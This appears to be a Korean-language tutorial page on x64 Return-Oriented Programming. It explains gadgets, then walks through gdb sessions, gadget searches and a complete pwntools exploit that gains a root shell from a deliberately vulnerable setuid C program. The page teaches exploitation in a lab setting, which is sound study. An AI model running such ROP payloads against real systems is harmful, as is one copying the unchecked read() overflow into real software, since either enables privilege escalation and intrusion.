...
Excuse the ads! We need some help to keep our site up.
List
Return Oriented Programming(ROP) -x64
- ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다.
- 이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, "가젯(Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.
- 각 가젯은 일반적으로 반환 명령어(ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 있습니다.
- 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행 할 수 있습니다.
Gadgets - POP; POP; POP; RET
x86의 경우 pop 명령어의 피연산자가 중요하지 않았지만, x64에서는 호출 규약 때문에 피연산자가 매우 중요합니다.
- 예를 들어 다음과 같은 형태의 Gadgets을 사용 됩니다.
- 호출할 함수의 첫번째 인자 값을 저장 : "pop rdi; ret"
- 호출할 함수의 두번째 인자 값을 저장 : "pop rsi; ret"
- 호출할 함수의 첫번째, 세번째 인자 값을 저장: "pop rdi; pop rdx; ret"
- 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.
- x64에서는 Gadgets을 이용해 인자 값을 레지스터에 저장한 후에 함수를 호출합니다.
- 아래 예제는 read() 함수 호출 후 System() 함수를 호출하게 됩니다.
Panel |
---|
|
Stack Address | Value | Explanation |
---|
0x7fffffffe498 | Gadget(POP RDI, ret) Address | Return address area of function | 0x7fffffffe4a0 | First argument value |
| 0x7fffffffe4a8 | Gadget(POP RSI, POP RDX, ret) Address |
| 0x7fffffffe4b0 | Second argument value |
| 0x7fffffffe4b8 | Third argument value |
| 0x7fffffffe4c0 | read function address of libc |
| 0x7fffffffe4c8 | Gadget(POP RDI, ret) Address |
| 0x7fffffffe4d0 | First argument value |
| 0x7fffffffe4d8 | System function address of libc |
|
|
Proof of concept
Example code
Code Block |
---|
|
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 256);
}
void main(){
seteuid(getuid());
write(1,"Hello ROP\n",10);
vuln();
} |
Build & Permission
Code Block |
---|
|
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -fno-stack-protector -o rop rop.c -ldl
lazenca0x0@ubuntu:~/Exploit/ROP$ sudo chown root:root ./rop
lazenca0x0@ubuntu:~/Exploit/ROP$ sudo chmod 4755 ./rop |
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x400756: vuln 함수 코드 첫부분
0x40079a: read() 함수 호출 전
...
Code Block |
---|
|
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROP/rop
Hello ROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp 0x7fffffffe458 0x7fffffffe458
gdb-peda$ x/gx 0x7fffffffe458
0x7fffffffe458: 0x00000000004007d0
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800
Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi 0x7fffffffe410 0x7fffffffe410
gdb-peda$ p/d 0x7fffffffe458 - 0x7fffffffe410
$1 = 72
gdb-peda$ |
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
...
Panel |
---|
|
- "/bin/sh"문자열이 저장된 영역
- libc offset
- 가젯의 위치
- pop rdi,ret
- pop rsi,ret
- pop rdx,ret
|
Find the Libc address of the "/bin/sh"
다음과 같이 libc 영역에서 "/bin/sh"가 저장된 영역을 찾을 수 있습니다.
Code Block |
---|
title | Find the address of the "/bin/sh" |
---|
|
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ info proc map
process 5555
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/lazenca0x0/Exploit/ROP/rop
0x600000 0x601000 0x1000 0x0 /home/lazenca0x0/Exploit/ROP/rop
0x601000 0x602000 0x1000 0x1000 /home/lazenca0x0/Exploit/ROP/rop
0x602000 0x623000 0x21000 0x0 [heap]
0x7ffff7809000 0x7ffff79c9000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff79c9000 0x7ffff7bc9000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bc9000 0x7ffff7bcd000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7bcf000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcf000 0x7ffff7bd3000 0x4000 0x0
0x7ffff7bd3000 0x7ffff7bd6000 0x3000 0x0 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7bd6000 0x7ffff7dd5000 0x1ff000 0x3000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7dd5000 0x7ffff7dd6000 0x1000 0x2000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7dd6000 0x7ffff7dd7000 0x1000 0x3000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7ffff7dd7000 0x7ffff7dfd000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd8000 0x7ffff7fdc000 0x4000 0x0
0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0x0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb-peda$ p/x 0x7ffff7995d57 - 0x7ffff7809000
$2 = 0x18cd57
gdb-peda$ |
Get offset of printf, system, and setresuid functions
- 다음과 같이 Offset을 확인 할 수 있습니다.
- printf(libcbase) : 0x55800
- system : 0x45390
- setresuid : 0xcd570
Code Block |
---|
|
gdb-peda$ p printf
$3 = {<text variable, no debug info>} 0x7ffff785e800 <__printf>
gdb-peda$ p system
$4 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
gdb-peda$ p setresuid
$5 = {<text variable, no debug info>} 0x7ffff78d6570 <__GI___setresuid>
gdb-peda$ p/x 0x7ffff785e800 - 0x7ffff7809000
$6 = 0x55800
gdb-peda$ p/x 0x7ffff784e390 - 0x7ffff7809000
$7 = 0x45390
gdb-peda$ p/x 0x7ffff78d6570 - 0x7ffff7809000
$8 = 0xcd570
gdb-peda$ |
Find gadget
peda
- 다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.
- 해당 바이너리에서 RDI, RSI에 대한 Gadgets은 찾았지만, RDX는 찾지 못했습니다.
- 0x00400843: pop rdi; ret
- 0x00400841: pop rsi; pop r15; ret
- 이러한 경우 libc 파일에서 Gadgets을 찾아 활용할 수 있습니다.
Code Block |
---|
|
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400843 : (b'5fc3') pop rdi; ret
gdb-peda$ ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00400841 : (b'5e415fc3') pop rsi; pop r15; ret
gdb-peda$ ropsearch "pop rdx"
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$ |
rp++
- 다음과 같이 rp++ 를 이용해서도 원하는 Gadgets을 찾을 수 있습니다.
- 해당 Exploit code에서는 0x001150c9 영역에 "pop rdx ; pop rsi ; ret ;" 코드를 사용하겠습니다.
Code Block |
---|
|
lazenca0x0@ubuntu:~/Exploit/ROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2 | grep "pop rdx"
0x00137393: mov eax, dword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ; (1 found)
0x00137392: mov rax, qword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ; (1 found)
0x001464f6: pop rdx ; add eax, 0x83480000 ; retn 0x4910 ; (1 found)
0x00137396: pop rdx ; call qword [rax+0x20] ; (1 found)
0x00196111: pop rdx ; cld ; jmp qword [rax+0x5B] ; (1 found)
0x001960d5: pop rdx ; cld ; jmp qword [rax+0x5C] ; (1 found)
0x0019b399: pop rdx ; cli ; call qword [rsi+rax*2+0x02] ; (1 found)
0x0019b389: pop rdx ; cli ; jmp qword [rsi+rax*2] ; (1 found)
0x001b0549: pop rdx ; cmc ; jmp qword [rax+rax] ; (1 found)
0x001b0591: pop rdx ; cmc ; jmp qword [rax+rax] ; (1 found)
0x001b05a9: pop rdx ; cmc ; jmp qword [rax+rax] ; (1 found)
0x001b0561: pop rdx ; cmc ; jmp qword [rcx] ; (1 found)
0x001b0579: pop rdx ; cmc ; jmp qword [rcx] ; (1 found)
0x00197509: pop rdx ; in eax, dx ; jmp qword [rsp+rbp*4] ; (1 found)
0x00001b60: pop rdx ; int 0x4F ; jmp rdx ; (1 found)
0x00198538: pop rdx ; int1 ; jmp qword [rdx+rbx+0x01] ; (1 found)
0x00198539: pop rdx ; int1 ; jmp qword [rdx+rbx+0x01] ; (1 found)
0x000ac883: pop rdx ; or al, 0x00 ; ret ; (1 found)
0x001150a3: pop rdx ; pop r10 ; ret ; (1 found)
0x001150a4: pop rdx ; pop r10 ; ret ; (1 found)
0x00101ffc: pop rdx ; pop rbx ; ret ; (1 found)
0x001194ab: pop rdx ; pop rbx ; ret ; (1 found)
0x0011d174: pop rdx ; pop rbx ; ret ; (1 found)
0x001435b2: pop rdx ; pop rbx ; ret ; (1 found)
0x001435fa: pop rdx ; pop rbx ; ret ; (1 found)
0x00143824: pop rdx ; pop rbx ; ret ; (1 found)
0x001150c9: pop rdx ; pop rsi ; ret ; (1 found)
0x00001b92: pop rdx ; ret ; (1 found)
0x00001b96: pop rdx ; ret ; (1 found)
0x00001b9a: pop rdx ; ret ; (1 found)
0x00001b9e: pop rdx ; ret ; (1 found)
0x001150a6: pop rdx ; ret ; (1 found)
lazenca0x0@ubuntu:~/Exploit/ROP$ |
Exploit code
Code Block |
---|
language | py |
---|
title | ropexploit.py |
---|
|
from pwn import *
from struct import *
#context.log_level = 'debug'
#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so
libcbase_printf_offset = 0x55800
libcbase_system_offset = 0x45390
libcbase_setresuid_offset = 0xcd570
binsh_offset = 0x18cd57
pop_rdi_ret = 0x400843
pop_rsi_ret = 0x400841
pop_rdx_ret_offset = 0x1150c9
r = process('./rop')
r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset
payload = "A"*72
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase + libcbase_setresuid_offset)
payload += p64(pop_rdi_ret)
payload += p64(libcbase + binsh_offset)
payload += p64(libcbase + libcbase_system_offset)
r.send(payload)
r.interactive() |
Code Block |
---|
|
lazenca0x0@ubuntu:~/Exploit/ROP$ python ropexploit.py
[+] Starting local process './rop': pid 5698
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ |
Related site